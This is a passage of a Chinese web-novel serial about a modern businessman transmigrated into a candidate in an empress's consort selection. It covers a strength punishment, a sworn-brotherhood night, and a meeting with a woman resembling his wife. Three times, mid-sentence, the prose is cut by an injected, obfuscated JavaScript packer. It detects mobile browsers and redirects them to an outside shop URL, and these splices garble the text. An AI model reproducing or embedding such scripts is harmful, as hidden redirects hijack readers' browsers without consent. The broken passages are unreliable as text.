现场围观的全都是男士,没什么好避嫌的,姜尚宫当然也就同意了。 吴符高大健硕,哪怕不脱,也看得出来衣服下面有东西。 果不其然,他上衣一脱,就露出了“健美冠军”级别的身材,该有的腱子肉、八块腹肌全都在,再配上他常年在海上打鱼晒出来的古铜色皮肤,我只能说女帝还是吃得太好了。 周围人见了也传出了不少啧啧惊叹声,但像吴符这样淳朴的大兄弟,自然不会冲着这几声惊叹而开始摆油腻造型,来炫耀自己的身材。 他二话不说(忘了人也不能说),双手握住门栓中段,沉一口气,屈膝下蹲,一个爆发上挺,就将几米长的门栓举过了头顶,完成了一次完美的“挺举”动作。 吴符也不停歇,随后一鼓作气,将剩下的次数全部举完,最后满头大汗,脸憋红得像只油焖大虾。 姜尚宫满意地对吴符点了下头,吴符才如释重负。 姜尚宫转而看向了我:“吴公子已全数完成,诸葛公子你呢?皇夫殿下说,听闻昔年诸葛公子有扛鼎之力,如今区区门关,自不会难住阁下。” 我大惊,差点脱口而出:这事我怎么不知道?诸葛易兄弟居然还是一个大力士? 毕过见我为难,又替我出头:“就算诸葛公子当年能扛鼎,但他卧病了这么多年,哪还有什么力气!” 毕过这话非常公道:一个昏迷多年的人,肌肉没完全萎缩,都算好的了,还敢妄想一觉醒来就能扛鼎? “诸葛公子昨夜所为,都是为了救我,这罚就该我来替他领!” 毕过说着就上前来,双手正要搭上门栓,就听姜尚宫一声呵:“毕公子,他人代劳,视同抗旨!” 在毕过的手没落在门栓上前,我就出手拦住了他。他抬头,双目不解地迎上了我的视线。 我低声说:“多谢好意,我的错,自己抗。” 这宫里面发的衣服,就跟宫规一样,又多又烦。当我效仿吴符,把碍事的上衣脱掉后,瞬间觉得神清气爽。 周围群众们发出的低叹声不亚于刚刚吴符脱衣的时候。 在现代的时候,我就有健身的习惯,甚至还请了国内健身领域的专家,给自己量身制定了一套科学的健身计划,全方位涵盖了有氧、力量、灵活、耐力各方面的训练。 不管工作再忙,我都会严格执行这套计划,把健身变成了一种习惯。 我认识不少做生意的大老板,他们都说自己的年轻时候还会有意识锻炼锻炼,但一等步入中年,钱赚到了,就开始放任自己大鱼大肉、纸醉金迷。 他们看我天天坚持运动,还很不理解,说我既不差钱,也不愁找不到对象,为什么还要有身材焦虑,天天搞这么累折腾自己? 我说,我这不叫身材焦虑,我这是对自己的身体负责。 运动是为了身体健康,至于把身材练出来了,那不过是附带的奖励。 来到这个时代后,我也没忘初心。一方面是因为习惯,另一方面将心比心,如果诸葛易穿到了现代,占据了我的躯体,我肯定也希望他能善待我的躯体,不要把我坚持锻炼的健美身材给糟蹋成了大腹便便。 所以,我曾经是怎么对待自己身体的,那么现在,我也在用同样的态度,来对待诸葛易的身体。 在我的坚持下,身材底子本来就不错的诸葛易,当然不至于沦为“白切鸡”,我甚至有自信说,现在诸葛易的身材不会输给在场任何一位男性,哪怕是叫人足够惊艳的吴符。 当然,话说回来,这也不是什么孔雀开屏的场合,身材练得再好,力量上拿不出真本事,还是死路一条。 顶着众目睽睽,我弯下腰,双手握住了门栓。 门栓是枣木做的,在我刚才装模作样抬那一下的时候,心头就已经对这根门栓的重量有了个大致预估。 这根门栓的重量应该在三百来斤,这个重量是在我舒适圈内的,但关键在于门栓和现代杠铃的构造不同,那么对应的,我就必须重新明确自己双手的发力点。 因此,我没有急着先举,而是等着吴符打样。在吴符举重的时候,我一直在仔细观察他手握门栓的位置,以及他的臂展长度,从而推断出我的手该放在门栓的哪个位置。 现在万事俱备,最后需要应对的就是姜尚宫那道锐利的探寻目光。 姜尚宫是皇夫身边的人,他的探寻代表着皇夫对我的态度。 双手落在了最佳位置后,我刻意将牙关死咬,让五官失去控制,仿佛耗尽了全身力气,才堪堪将门栓给举起,一过头顶后,我甚至不敢多举一秒,立马放下,一副力竭模样。 每举一次,我的表情就狰狞一分。 毕过见我举得这么艰难,神情更愧疚了,久久无言的陆韫之,也看得不忍,好心提醒我可以多歇歇,再举下一次。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17323885|199113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但其实,举重这事对我来说,根本不难。 当我找到了正确的发力位置后,越往后举,越觉得简单。 和复杂的人情世故相比,举重真的是一件很轻松简单的事,只需放空大脑,一鼓作气,即便失败了,重头再来就好。 但在宫里,没有给我失败的机会,一旦行差踏错,就是万劫不复。 如果我此刻不装作万分艰难,落在他人眼里,或许会成为对自己能力的一种炫耀。我想,这绝不是皇夫想要看到的,也不是其他秀男们想要看到的。 我刚毕业那会儿,运气好,进了一家大厂打工,当时学到的职场第一课就是:不求有功,但求无过。 永远不要在领导和同事面前超常发挥,你越能干,以后给你干的活就会越多。 “十八。” “十九。” “二十。” 当宫人计数到十后,我就松开了手,门栓重重地砸在了地上,响声巨大,微尘飞扬,在阳光下,难以遁形。 我也跟着瘫坐在地,大喘着气,装得像下一秒就要晕厥过去一样。 至此,我和吴符的惩罚任务圆满完成。 “教导主任”姜尚宫神色依旧严肃,对众人总结陈词:“惩罚不是目的,只是手段,期望今日之事,能叫诸位公子长个记性,记清楚自己现今身处何地,什么是该做的,什么做不得的。” 众人道:“草民谨记尚宫大人教诲。” “好了,散去吧。” 姜尚宫走后,众人也四散,毕过和陆韫之忙上前来,将我扶了起来。 毕过直言,他没想到我居然真能举下来,看来当年诸葛易力能扛鼎,不是传言。 我摆手说,再多一下就不行了。 吴符也过来了,一个劲地打手势,给毕过赔罪。 毕过大度说,不知者不罪,他不会把这事放心上的,也安慰吴符不必内疚。 吴符得了原谅,脸上全是感激和欣喜。我猜,吴符的欣喜不仅仅是出于得了毕过的原谅,更多的是在庆幸自己的劫后余生。 出于社交礼仪,我也朝关心我的几个小兄弟挤出了笑,说我没事,歇歇就好。 我没骗他们,我身体一点没事,只是在装累。 不过,此刻我的心情沉重得像是在前世某场董事会上,从一些事业部包装得天花乱坠的PPT汇报里,看出了“亏损”两个大字。 “亏就是亏,没达标就是没达标,搞这些花里胡哨的东西,糊弄不了我,更糊弄不了财报。” 这座气势磅礴的皇宫,就像是会上那些花里胡哨的PPT:宫中生活看似风光无限,实则长此以往只有一个字——“牢”。 在这地方呆着,每天都得心惊胆战,生怕今日又违了什么宫规,明日又犯了什么贵人禁忌。 这样的“富贵命”,我无福消受! 好在现在,还没有尘埃落定,我或许还有逃离的可能。 不能慌,不能急,更不能未战先怯! 瞧着地上的门栓,我心中生出了一种强烈的冲动——把它举起来,然后狠狠一砸,把这富丽堂皇的四方宫墙给砸个稀巴烂。 8. 第 8 章 后面的几天培训,我也没有找到任何落选的机会,唯有贯彻八个大字“不求有功,但求无过”,浑浑噩噩地混了过去。 一眨眼,后天就该殿选了,毕过的过敏反应也基本上消完了,恢复了英俊的帅脸。 这小子属于好了伤疤忘了痛,刚一好全,就不顾太医叮嘱过的忌口,今晚吃饭的时候,他就专挑麻辣鲜香的吃。 吃到一半,毕过居然跟变魔术一样,不知从哪儿拿出了一坛酒来。 他这一拿,把陆韫之给吓呆了。陆韫之就是现代班上典型的尖子生,目前的情况就像是:大考当前,学霸正认真复习着,邻座的黄毛却突然掏了一包华子出来,问他抽不。 陆韫之低声问:“选秀期间不是禁止饮酒吗?你这酒从哪儿来的?” 毕过一脸得意:“银子到位了,哪都有门路。” 毕过边说着,又不知从哪儿拿来了三个空酒杯,摆在桌上,给一一满上了。 毕过举起酒杯:“那夜如果没有你们,我命早没了。现下在宫中,我也拿不出什么厚重的谢礼,便先敬二位一杯,喝下这杯酒,就算我毕过欠你们一条命!” 陆韫之没有举杯:“那夜我也没帮得毕公子什么,全靠诸葛公子当机立断。” 毕过道:“那我先敬诸葛兄!” 陆韫之不愿喝酒,显然是担心万一被查到了,会影响选秀结果。但我不一样,我一天到晚都盼着被开除。现在毕过突然给了一个这么好的机会,我必须好好把握。 我爽快地举起了酒杯,和毕过哐当一碰后,我俩同时一饮而尽! 古代的酒没经过工业提纯,度数低,这就几口下去,跟喝鸡尾酒饮料没区别,很没意思。 但我面上还是要捧场:“好酒好酒!” 毕过摆摆手:“放在毕家,像这样的酒压根上不了桌,也就这会儿拿来解解馋罢了。” 毕过说着又满上了两杯,继续劝:“陆兄真不来一杯?” 陆韫之老实说:“殿选在即,我不敢在这会儿坏了规矩。” 毕过爽直说:“我们关起门来自己小酌几杯,谁会知道!” 陆韫之仍微笑摇头:“多谢毕公子好意了。” 毕过也不再勉强,继续和我喝了起来。 我没想到,这位毕小兄弟年纪轻轻,但受酒桌文化熏陶得挺深。 他喝高兴了,突然说:“光吃酒,也挺无趣,不如我们都来露些本事吧!” 我以前参加饭局时,就很不喜欢这种作风:有些圈子里的大老板们喝高兴了,就特喜欢让人唱个歌、跳个舞什么,美其名曰活跃气氛。 不过,毕小兄弟倒是比酒桌上的老油条们诚恳多了,自己提议完,自己就先上了。 “我先献丑,为两位兄弟剑舞一支,以助雅兴。” 说完,毕过居然真从行囊里掏出了一把剑来。 不是,这宫中安检这么水吗,怎么连管制刀具都放进来了,我记得查我随身行李那会儿不是挺严的吗? 等毕过长剑出鞘,我仔细一看,见是没有开刃的摆设剑,这才又对宫中安检恢复了信心。 “屋里东西多,施展不开,二位随我来院子里看吧。” 毕过盛情相邀,我们当然不会推辞,乐呵呵地到了院子里。 毕过的这一支剑舞,太过精彩,精彩到我贫乏的语言很难写出来(真不是我偷懒)。 我看的时候满脑子都是“一舞剑器动四方”这句诗。 反正就是要身段有身段,要力度有力度,要花样有花样,一套剑舞下来,分分钟秒杀近几年来那些打斗不够特效凑的古装剧,看得我是热血沸腾,恨不得当场拜师学艺,把这套炫酷狂拽的剑法给学过来。 等到收尾的时候,毕过还展示了几下腿法,扫堂腿利落干脆,高抬腿高度惊人,竟比刚才的剑舞还要赏心悦目。 舞罢,我和陆韫之拼命鼓掌。 “精彩,太精彩了!” “都说毕家腿法天下一绝,只有曹家枪法能与之一较高下。今日一见,我倒是觉得,即便曹家枪法真来了,也只能当你们的腿下败将。” 毕过乐开了花:“陆兄过誉了。” 陆韫之说:“毕公子以剑舞相报,我也不可没有谢礼,二位请随我入屋吧。” 进了屋,陆韫之摆出了一套作画工具,其中颜料众多,摆满了小半个桌子,笔也有六七支,粗细各有,除此之外,还有块方状的画章(我不是专业的,也不知道那玩意的真正称呼是什么)。 准备妥当后,陆韫之一凝神,拿起画章,点蘸颜料,时不时用细笔勾勒,只见纸上五彩缤纷,图案多样,有花有鸟,有蝶有鱼,有翠竹,有祥云。 最绝的是,这些图案居然构成了“诸葛易”三个大字! 我反应过来了,这不就是小时候街头几块钱一幅的花鸟字画吗,可惜现在越来越少见了。 陆韫之画完“诸葛易”三个字后,又另起一幅,画起了“毕过”二字,画“毕过”时,所用图案又不一样了,他知毕过是武将之后,便多采用兵器、狼烟烽火这些图案,投其所好。 这两幅画,陆韫之皆是运笔如飞,但却能做到字正色谐,图案栩栩如生,看得我和毕过啧啧称奇,没想到,陆韫之这个年纪,画工竟能这么扎实,丝毫不输街边摆摊的老艺术家们。 搁笔后,陆韫之谦虚说:“一点心意,望二位不嫌。” 我忙说:“这么好的画,谁会嫌啊!” 毕过比我更激动:“全帝京都知道,陆尚书家二公子的画,那可是千金难求!” 现在,两位兄弟都展示了才艺,我如果不表示表示些什么,也确实说不太过去。 书画这块我是真没练过,就不考虑了。 武术这块,我算是有底气的,但我学的武术,都是格斗搏击这类侧重实战的,没什么观赏性,顶多能给他俩打一套八段锦。 但在毕过那套观赏性极强的剑舞后,我又觉得自己的八段锦实在有些拿不出手。 这时正巧送来了一阵清风,将屋内半掩着的窗给吹开了,这扇窗外正对着院子里那棵桃树。 桃树,三兄弟。 我脑子里突然就冒出了刘关张桃园三结义的故事,于是有了打算。 我说:“我嘛,文武都比不上两位兄弟,就还剩一张嘴,勉强能说道说道,不如今夜我就给两位讲讲故事吧。” 毕过很捧场:“好啊,我最喜欢听故事了!” 陆韫之也好奇:“诸葛公子是要讲自己的故事吗?” 我说:“非也非也。我昏睡的数年间,做了一个很长的梦,梦里有仙人无数,他们给我讲了许多故事。 毕过捧场说:“仙人的故事?一听就有趣!” “我今天要讲的故事名叫《三国演义》,是从仙人罗贯中处听来的。” 在国公府上的时候,我就大致把这个朝代的历史过了一遍,发觉和我所在的时空历史截然不同,这带给了我一个好处就是,我可以效仿无数穿越前辈们一样,当当文抄公,搬运一些诗词歌赋,来博得才子之名。 同样的,我还可以把我那个时空的一些小说、历史,当故事讲出来,成为这个时代的说书大神。 可能我接下来的一些话,大伙会觉得我在装,但这些话,也确实是我的真心话。 早在几年前,当我的事业达到了我所能企及的顶峰时,就渐渐发现自己对名利失去了兴趣,以前嗤之以鼻的那句“钱对来说就是数字”,竟然也成了我当下的写照,以及空虚的来源。 所以,哪怕到了这个时代,我也依旧不想再跟名利场扯上太多关系,能吃饱喝足,自在地干一些感兴趣的事就够了。 因此,为了避免搞出一些大动静,我可以向大伙发誓,在今天之前,我绝对没有搬运过任何知名诗词歌赋,更没有运用物理化学知识,去搞出什么跨时代的大动静(这同时也是为了我的安全着想,现实又不是穿越爽文,在生产力不够发达的时代,去胡乱卖弄一些超前的知识,可不一定会被视作天才,有更大概率会被当作异端,哥白尼兄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17323886|199113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弟就是个很好的前车之鉴)。 这会儿,或许是因为酒意上头,也或许是因为面前的两个小兄弟足够诚恳,我突然就生出了分享的念头。 是的,我想跟他们分享我所在时空的历史故事,就像是在竭力提醒自己不属于这个时空。 四大名著里,我最熟的就是《三国演义》。 从我这文笔,大伙应该就能看出来,我不是个文学素养高的人。 哪怕我小时候特别爱打三国题材的游戏,也始终看不进去《三国演义》。 也不怕大伙笑话,我是等到工作后第一年,才真正完整地看完了一遍《三国演义》原著。 这一看就觉得惊为天人,从那之后,我几乎每年都要拿出来过个一两遍,常看常新,年纪越上去,感悟越多。 毫不夸张地说,《三国演义》里的每一章故事我都烂熟于心,现在讲起来,当然是游刃有余。 我讲得津津有味,陆韫之和毕过也听得如痴如醉。 我就知道,没有男人会不爱三国的故事,要是他们听了觉得无趣,那也只能说明是我讲得不好,而不是《三国演义》不够精彩。 我这一讲就讲到了凌晨,但这三国也才刚开了一个头。 到点该睡了,毕过意犹未尽说他不困,还能继续听。 陆韫之笑:“毕公子不累,诸葛公子也讲累了吧。” 我说:“我其实也不累,但明早还要培训,就别熬夜了。” 毕过问:“那明晚,诸葛兄还能继续讲吗?” 我说:“当然!” 毕过又问:“明晚这故事能讲完吗?” 我说:“那肯定不行,这故事还长着呢!” 话音落,毕过和陆韫之脸上都露出了失落之色。 我这才想起来了,明天就是培训的最后一天了,等后天殿选一结束,落选的就能打道回府了,而入选的,就真“一入宫门深似海”了。 除非我们仨都一道不幸中选,或是一道万幸落选,不然这《三国演义》,他俩是没机会听完喽。 刚要准备散伙,毕过又“燃”了起来:“两位兄弟有恩于我,而且我们还这么投缘,不如便效仿故事里的刘关张结拜为兄弟吧!” 我高兴说:“好啊!” 这穿越一回,还能体验一下古代的结拜,不也挺有意思的吗! 毕过见陆韫之没应,问:“陆兄是嫌我们吗?” 陆韫之莞尔:“岂敢,能与两位公子结拜,是陆某之幸。” 毕过高兴说:“要结拜了,就别一口一个公子了,我今年十八,陆兄你呢?” 陆韫之说:“我上月刚及冠。” 毕过立马改口:“二哥!” 不必说,诸葛易这个超龄选手,在这俩小兄弟前,毫无悬念地成为了老大哥。 在我的提议下,我们仨决定将“致敬”进行到底,在乌黑抹漆的深夜里,一块来到了院子里,当着那几棵没开花的桃树,把演义里的词给全说了一遍。 仪式走完,毕过又乐呵起来:“哈哈哈哈,这样看来,我岂不是故事里的张翼德了!” 还别说,毕过的性格确实和张飞有些共通点。 他又笑嘻嘻地看着我和陆韫之,兴奋说:“二哥你呢,现在可就是关云长了!” 平日里矜持的陆韫之,今晚上也听三国听兴奋了,现在还乐在其中。 “我也希望自己日后能成为关云长那般义薄云天的真男人,不管身处何地,都不忘兄弟义气!” 毕过捧场大笑:“说得好,不忘兄弟义气!还有大哥,以后我们可就要跟着你一块匡扶‘汉室’了!” 我笑斥:“这哪来什么汉室!” 还好我没讲到后来刘备称帝,不然这话听着属实有点大逆不道。 而且我很想说,我其实并不愿当刘备,但怕说出来扫弟弟们的兴,也就只能跟着一起先傻乐呵了。 今朝有酒今朝醉,傻乐呵一日算一日。 毕竟明天就是培训的最后一天了。 9. 第 9 章 这选秀培训就跟学生时代的军训一样,刚来的时候,恨不得赶紧训完回家,可等到了培训的最后一天,居然还有些不舍了。 大约因为人非草木,在一个地方待久了总会有感情。 这培训的最后一天,我看姜尚宫都变得顺眼了不少。 其实回过来头来想一想吧,培训的这段时间虽然出了不少风波,但我周围还真没出现那种宫斗剧里的刻板反派,哪怕是略显不近人情的姜尚宫,也跟“坏”这个字不沾边。 在训练过程中,我从来没见过姜尚宫偏私谁,或是给谁穿小鞋、使绊子,从始至终,姜尚宫对我们的态度都是一视同仁,严格按照宫规宫纪办事。 刚开始,我对姜尚宫的排斥,归根究底是对宫规宫纪的排斥。 可实际上,姜尚宫也只是个奉旨办事的打工人,打工人何苦为难打工人呢?所以这最后一天,姜尚宫讲话时,我听得格外认真。 “这段时日下来,诸位公子都辛苦了。明日便是殿选,诸位也不必太过紧张,今晚早些歇息,届时将最好的一面呈现出来,便不枉这数日来的艰辛了。成与不成,皆是命数,也不必太过强求。” 姜尚宫这话说的,恍惚间,我还以为回到了高考前的动员大会。 “离晚膳还有一些时候,诸位还有什么问题想问本官的,大可在这个时候问。” 毕过先举手:“尚宫大人,当真什么问题都能问吗?” 姜尚宫说:“只要不违礼法。” 毕过一听就不客气了:“大人您成亲了吗?” 这小子挺八卦的啊。 正好我也给大伙补充说明一下:因为这个时空不论男女都能当皇帝,所以大家熟知的古代后宫太监制度,在八百多年前就被该时空的一位女皇帝给废除了(如果宫男们都是不带把的,女帝来兴致了怎么办?)。 可能会有人想问了:那如果是男皇帝上位,又该怎么杜绝自己不被绿呢? 这要得利于这个时空的医学在某些研究领域意外的发达。 这时空原本就有一些药,能让男的吃了后就不举。八百年前的景朝太医院接到圣旨后,开始铆足了劲研发,最终成功研发出了一种效果更稳定持久的不举药,景文帝给这个药亲自赐名“本分丹”。 从那以后,只要皇帝是男的,后宫里当差的男的就要集体服用“本分丹”,实现化学阉割。 和粗暴的物理阉割不同,这种化学阉割是可逆的,一旦宫男们出了宫,停了药,就又能重振雄风了。 现在龙椅上坐着的是女皇帝,姜尚宫等宫男们当然也就“躲过一劫”,不必服用“本分丹”了。 姜尚宫微笑回:“本官这个年纪,儿子今年都能上街打酱油了。” 有人不解了,问:“宫里面当差的大人也能成亲吗?” 姜尚宫说:“常人是不行,除非得了主子恩准。” 姜尚宫是皇夫的心腹,能得恩准,理所应当。 毕过问:“那大人的媳妇是宫里认识的,还是宫外遇见的。” 姜尚宫说:“宫中相识的。” 毕过八卦到底:“那她在哪个宫当差啊?” “御前侍奉。” 毕过惊叹:“大人在皇夫跟前办事,夫人在御前当差,那你们可真是‘门当户对’啊!” 姜尚宫说:“本官的私事,都是无关紧要的。今日机会难得,你们便不想知道点别的吗?” 姜尚宫说这话时,露出了一个陌生的微笑,看着竟有一丝俏皮,就像是常年戴着严肃面具的领导,露出了生活中可爱的一面。 刚开始的时候,大家还挺拘谨的,问的都是些正儿八经的问题。后来聊开了,就什么问题都来了。有人问姜尚宫,他觉得宫里面哪个大人长得最好看?还有人问姜尚宫,每个月众人的侍寝次数。 姜尚宫还是耿直的,能答的问题,他都答了,不能答的,也直说不能。 “敢问尚宫大人,明日我们是不是便能瞧见陛下了?” 问这话的人我熟悉,是柴昊,也就是之前来我们宿舍找陆韫之改诗的那位兄弟,后面这几日也跟我们处得不错。 毕过嘴巴快:“柴兄这不明知故问吗,明日是殿选,陛下自然是在的。” 姜尚宫却说:“此事恐怕要让诸位失望了。陛下近来政务繁杂,已将明日的殿选重任交由了皇夫殿下。” 柴昊一怔:“这么说来,明日……我……我们见不着陛下了。” 姜尚宫轻颔首:“诸位若是能中选入宫,日后多的是机会目睹天颜。” 柴昊满脸失落,小声喃喃:“可若是……最后没能入宫呢……” 姜尚宫没有再就此事作答,说:“好了诸位公子,时候不早了。本官最后再回答你们一个问题。” 到了这个时候,众人想问的其实都已经问得差不多,场子一度冷了下去。 我以为就这么散了时,姜尚宫却突然看向了我。 “诸葛公子,你从头到尾,一个问都没有提,你便没有好奇的事吗?” 我本想下意识点头,但这样好像显得我对这次选秀太不重视了,于是匆忙间,我想到了一个相对稳妥的问题。 “我想知道,在大人看来,我有几成可能中选?” 姜尚宫没有立即作答,而是安静地瞧了我片刻后,才意味深长说:“诸葛公子大智若愚,想必这个问题,你心中已有答案,又何必问本官呢?” 解散回宿舍的路上,身后突然有人撞了一下我的肩膀,力道不算重,应该是不小心的。 我转头一看,原来是失魂落魄的柴昊。 柴昊这才发觉自己撞着了人,连忙说:“对不起,对不起诸葛公子!” 我笑说:“没事,柴公子这是还在为明日殿选忧心?” “我……我自知粗鄙,不敢奢望真能中选入宫,但求能远远瞧见陛下一面,便觉余生足矣。本以为明日就能瞧见陛下,可谁知……哎。” 柴昊这兄弟,听着怎么不像是来选秀的,更像是来追星的。 我说:“你为什么这么想见陛下呀?” 一旁的毕过听了说:“大哥你这话说的,这天下间,但凡是个男子,谁不想一睹陛下芳容啊!” 柴昊激动说:“是呀,世人皆知,陛下容姿倾国,可谓是天下第一美人。诸葛公子竟不知此事吗?” 我尬笑:“我一觉睡太久,睡忘了。” 在今天之前,我的确不知道这事,现在就算知道了,也觉得这事不大可信。 毕竟人都是皇帝了,人觉得自己是天下第一美人,下面的人难道还能像魔镜那样诚实说:“噢不,亲爱的陛下,白雪公主比您更美!”? 而且,这又不是在拍偶像剧,颜值对一个皇帝来说,是最无足轻重的一环。 所以很快,我就把女帝颜值如何这件事抛诸脑后了。 哎,培训课都结束了,但在让自己落选这事上,我依旧无计可施,莫非真的只能听天由命了吗? 毕过不知我忧愁,他一吃完晚饭,就急着让我给他继续讲三国故事。 但在故事开讲前,陆韫之却让我们今夜不能掉以轻心。 毕过问:“这是为何?” 陆韫之说:“传闻在选秀的最后一夜,会有秀男接到特殊的考验。” 我问:“有多特殊?” 陆韫之说:“每个人接到的考验内容皆不相同,因而特殊。” 我越听越觉得,这个朝代的选秀不搞成一档直播真人秀实在是太可惜了! 怎么皇帝选个秀,能有这么多的环节呢?制订这选秀规则的人上辈子怕不是个综艺编导吧? 我没憋住,吐槽说:“这都大晚上了,还能怎么考?要是考官再不来,我就该去和周公约会了。” 这时代没有“周公”,所以他俩不知道“和约会周公”是做梦的意思,不过这几天相处下来,他们已经习惯了我时不时冒出的“怪言怪语”,现在就算听见了,也都懒得刨根问底了。 谁知我竟然是个乌鸦嘴,话音刚落,姜尚宫就跟带了闪现技能一样,突然就到了我们宿舍的院子里,说是皇夫殿下有请,让我跟他走一趟。 毕过还在惊讶着,陆韫之却已经猜出了姜尚宫的来意——这多半就是他刚刚提到那个特殊的考验。 于 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17323887|199113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是临走前,陆韫之不忘向我递了一个眼神,提醒我谨慎行事。 我假装忐忑地站了起来,跟着姜尚宫出了藏秀苑。 这个时间点,天早就全黑了,但沿路的宫灯都亮着。 一路灯火通明,让整座皇宫更显璀璨夺目,往来的侍卫宫人,则为宫闱添了几分威重。 姜尚宫一路不语,我也没有多嘴去问,就安静地跟在他身后,任由他七拐八转的,也摸不清他给我转哪儿来了。 直到一连串甬道长廊之后,眼前的景象忽然变得开阔起来,前方的宫灯更多,竟是成了个半圈。 再走近一看,这一大半圈宫灯原是绕着一片湖布置的。 不出意外,眼前这片湖就是皇宫中的知名景点——太液池。 万万没想到,在我那个时空没能见到的唐代太液池,却在这个时空见到了,还很巧,都叫太液池。 据说太液池东西长五六百米,南北宽三四百多米,跟个大型体育馆似的。绕湖一圈,得有将近两公里的路。湖上面还有三座人工岛屿。一大两小,但都没亮灯,黑漆漆一片,只能隐约看见一点建筑轮廓。 到了这种时候,我已经无心欣赏眼前美景,满脑子都在琢磨姜尚宫怎么就把我带到了太液池边上,难不成皇夫住在太液池的湖景房中? 我还在思考,走前面的姜尚宫,却已经停住了步子。 他转过身,对我说:“殿下有旨,请诸葛公子在此稍待片刻。” 我说:“草民遵旨。” 说完,姜尚宫就利落地走了,留我一个人站池边上吹风。 别说,这夜风拂面,还挺舒服的,时不时还会吹落一些树上的小白花(我没认出是什么品种),吹一会儿后,我脑子都清醒了不少。 皇夫是什么人?堂堂一国之父,有什么理由在殿选前夜跑来太液池边上见一个秀男?这根本不合逻辑。 因此我敢断定,这场针对我的特殊考验肯定不会是皇夫亲自出马。 那么,我的考官会是谁呢?考试内容又是什么呢? 这些答案,我一概不知。 但我唯一清楚的是,这场特殊考验,或许就是老天赐给我的最后落选机会了。 几分钟后,我的考官终于出现了。 远远的,我就看见一团白影,从身形来看,应该是一位女子。 女子素衣飘飘,仪态高雅,皮肤白得发光,头发被简单地绾在了身后,没有任何发饰点缀,反而更显仙气。 她沿着湖畔,缓缓朝我走来,真的就跟神仙下凡一样。 原来今夜这关是美人关啊!考官多半是想看我在美色面前,能不能守住道德底线。 “美人关”这道题目看似简单,但一个把持不住,或者举止间失了分寸,说不定就会因“秽乱宫闱”而丢了小命。 面对“美人关”,最正确的做法应该是,在白衣女子靠近前,我就以“男女授受不亲”为由,拔腿就跑,不给她任何“钓鱼执法”的机会。 但我今夜要的不是正确做法,而是错误但又能保命的做法。 思索之间,白衣女子离我又近了许多,近到我终于能看清她的面容。 然而就在看清她脸的那一瞬,好似有一双无情的手切断了我的电源,让我的大脑完全宕机。 怎么会这样? 怎么会这样? 怎么会这样! 眼前的一切,是我的幻觉吗! 白衣女子步履未停,转眼之间,已到了我的身前。 她的面庞触手可及,那般清晰,证明着这绝不是我的幻觉。 可她的声音却缥缈得像是从天际飘来:“阁下为何在此?” 我的喉咙跟被人锢住了一般,干涩得吐不出一个完整的字。 她追问:“阁下为何一言不发?” 我努力挤出了几个字,却因哽咽而发哑:“唯恐惊醒梦中人。” 她愈发疑惑了:“谁是梦中人?” 不仅是脸,连声音都一模一样。 我的理智彻底决堤,再也无法抑制这段时间的情绪,脱口而出: “眼前人便是梦中人。” 10. 第 10 章 一直以来,我排斥入宫成为女帝的男人,一方面是因为觉得后宫凶险,不是人待的地方;另一方面,也是因为我在现代是结了婚的有妇之夫。 不了解我的,总以为像我这种做生意的人,特别是还涉及到了影视板块的,私底下都玩得很花,什么明星模特网红,隔三差五就得换一茬。 但实际上,我在遇见我爱人之前,在感情上的经验为零。 第一次约会的时候,我就跟爱人解释说,我母单到现在,主要是因为精力都投入在了事业上。 我爱人却一眼看透了我的本质:“我觉得,或许是因为你这个人不相信爱情。” 我反问她:“那你呢,又是为什么单身到了现在?” 她说:“如果其他人问我,我也会说因为工作太忙,没空恋爱。” 我问:“那我问你呢?” 她答:“因为我也不相信爱情。” 我笑了:“那看起来,今天这场约会似乎就不该存在。” 她也跟着笑了,美得像一幅画。 她眼里透着认真:“但你的出现,让我突然觉得,自己又相信了爱情。” 我问:“这算是告白吗?” 她说:“我不想在感情上拐弯抹角。我就直问了,你愿意给我机会吗?” 我不经任何思考:“我原本以为,这句话该由我先说。” 然后,我俩就成了,从恋爱到结婚,顺利得不像话。 爱人的降临,就像是老天为我前半生感情的空白做出的巨大补偿。 婚后,我们工作都很忙,(我爱人是体制内的,在保密机关工作,求婚那会儿,她就对我说,她同意了这门亲事不作数,如果我过不了政审,我俩也是白搭。)往往聚少离多,但好在我们之间的感情一直很稳定。 在这场穿越发生的前一秒,我正开车接我爱人下班,她就坐在副驾驶,说等会儿到家了,有重要的事要跟我讲。 虽然我早觉察到了穿越的前兆,但当它真正降临的那一刻,还是叫人猝不及防。 正因为我有爱人,所以哪怕我现在所处的是诸葛易的身体,但在情感上,也难以接受和另一个女人发生关系。 我甚至还心存幻想,等自己有朝一日,穿越回去了,能坦然地告诉我的爱人,就算到了另一个时空,我的身心都始终如一。 但我真的还能穿越回去吗?我真的还有机会再见我的爱人吗? 